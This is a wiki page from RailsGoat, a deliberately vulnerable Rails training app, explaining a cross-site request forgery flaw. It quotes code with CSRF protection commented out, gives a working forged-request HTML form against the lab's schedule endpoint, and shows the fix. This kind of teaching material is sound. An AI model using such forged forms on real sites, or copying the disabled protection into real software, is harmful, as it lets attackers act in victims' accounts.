Skip to content

R4 A8 CSRF

Ken Johnson edited this page Aug 18, 2015 · 2 revisions

Description

A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

Bug

Cross-Site Request Forgery (CSRF) - The following code was taken from: /app/controllers/application_controller.rb and /app/views/layouts/application.html.erb

application_controller.rb

# Our security guy keep talking about sea-surfing, cool story bro.
# Prevent CSRF attacks by raising an exception.
# For APIs, you may want to use :null_session instead.
#protect_from_forgery with: :exception

application.html.erb

<%#= csrf_meta_tags %> <!-- <~ What is this for? I hear it helps w/ JS and Sea-surfing.....whatevz -->

Solution

Cross-Site Request Forgery ATTACK:

The application allows users to update their calendar and schedule PTO events (PTO section). Due to the fact CSRF protections are disabled, the AJAX request will send the authenticity token but the application will not validate either its presence or validity. Create an html page using the code shown below, authenticate as another user, click on it, review the new calendar (change the dates under date_range1). You should see this HTML code will work, even if you hadn't navigated to the PTO section prior to sending it.

<html>
 <body>
   <form action="http://railsgoat.dev/schedule.json" method="POST">
     <input type="hidden" name="schedule&#91;event&#95;name&#93;" value="Bad&#32;Guy" />
     <input type="hidden" name="schedule&#91;event&#95;type&#93;" value="pto" />
     <input type="hidden" name="schedule&#91;event&#95;desc&#93;" value="Fun&#32;Fun" />
     <input type="hidden" name="date&#95;range1" value="06&#47;08&#47;2013&#32;&#45;&#32;06&#47;09&#47;2013" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>

Cross-Site Request Forgery SOLUTION:

By default, the protect_from_forgery directive is added under the application_controller.rb at project creation. However, occasionally developers turn it off (comment out) because of issues with JS. There are two separate solutions around the JS problem.

Once protect_from_forgery is added back, add the following code within the header section of the application.html.erb file (or any other application layout file).

<%= csrf_meta_tags %>

That will allow you to parse the meta tag with JS. However, keep in mind that any form generated by Rails is populated with an authenticity token so, if you leverage something like JQuery to make an Ajax request, you can include all values within the form by using the technique shown next.

Leverage the serialize() method, shown on line 3. This grabs all the values from the form, including the authenticity token.

("#example_submit_button_id").click(function(event) {
    var valuesToSubmit = $("#example_form_id").serialize();
    event.preventDefault();
    $.ajax({
      url: "/example",
      data: valuesToSubmit,
      type: "POST",
      success: function(response) {
        alert('success!');
      },
      error: function(event) {
        alert('failure!');
      }
    });
});
} 

Hint

PTO is precious, glad my calendar is safe!

Sections are divided by their OWASP Top Ten label (A1-A10) and marked as R4 and R5 for Rails 4 and 5.

Clone this wiki locally